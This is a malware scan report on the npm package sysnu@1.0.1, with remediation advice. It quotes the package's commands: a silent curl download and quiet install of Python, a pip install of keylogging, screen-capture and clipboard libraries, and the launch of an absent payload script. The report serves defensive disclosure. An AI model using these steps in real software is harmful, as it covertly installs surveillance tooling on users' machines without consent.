OpenSSF/OSV advisory MAL-2026-5617 confirms this npm version as malicious. On require() / CLI invocation, sysnu performs two install-time-equivalent actions on Windows hosts. First, if \`python\` is not on PATH, index.js (lines 42-46) runs \`curl -s -L -o \\\python-3.12.3-amd64.exe https://www.python.org/ftp/python/3.12.3/python-3.12.3-amd64.exe\` and then executes the installer with \`/quiet InstallAllUsers=0 PrependPath=1\`, deleting the installer afterwards... ## Latest scan - **Scanner version:** external-osv-malicious-v1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 100.0% - **Started:** 2026-06-30T15:00:00.099Z - **Finished:** 2026-06-30T15:00:00.099Z - **Download time:** Not available - **Static scan time:** Not available - **AI review time:** Not available - **Total time:** Not available The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis No additional public attack-surface or AI-review details are available. ## Affected versions and remediation This report applies to sysnu@1.0.1. - Avoid installing sysnu@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Osv Malicious Advisory - **Category:** External Intel - **Confidence:** 100.0% On require() / CLI invocation, sysnu performs two install-time-equivalent actions on Windows hosts. First, if \`python\` is not on PATH, index.js (lines 42-46) runs \`curl -s -L -o \\\python-3.12.3-amd64.exe https://www.python.org/ftp/python/3.12.3/python-3.12.3-amd64.exe\` and then executes the installer with \`/quiet InstallAllUsers=0 PrependPath=1\`, deleting the installer afterwards. Code comments explicitly describe this as a 'GHOST INSTALLER' with 'No UI, No Admin Popup' — i.e., the runtime is provisioned and PATH is mutated with no user consent. Second, index.js line 73 unconditionally runs \`pip install pyperclip keyboard requests pillow mss pyautogui pywin32 uiautomation comtypes --quiet\` — a Windows surveillance stack covering keylogging (keyboard), screen capture (mss/pillow), input automation (pyautogui), clipboard scraping (pyperclip), and UI automation (uiautomation/comtypes/pywin32). Index.js line 81 then spawns \`python pointer.py\`, but \`pointer.py\` is NOT present in the tarball, so the package is a stager awaiting an out-of-band payload that will execute with the freshly-installed surveillance primitives available. The package's advertised purpose ('System binary configuration tool') has no relationship to clipboard/keyboard/screen capture. Metadata is placeholder-grade (author 'ABC', no repository/homepage, generic description), consistent with a throwaway dropper account. ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** sysnu - **Ecosystem:** npm - **Version:** 1.0.1 - **Version published:** Not available - **Package first seen:** 2026-06-30T15:00:00.099Z - **Package last seen:** 2026-06-30T15:00:00.099Z - **Known versions:** 2 - **Latest version:** 1.0.1 - **Appeal under review:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [OpenSSF JSON]() - [PACKAGE]() - [PACKAGE]()
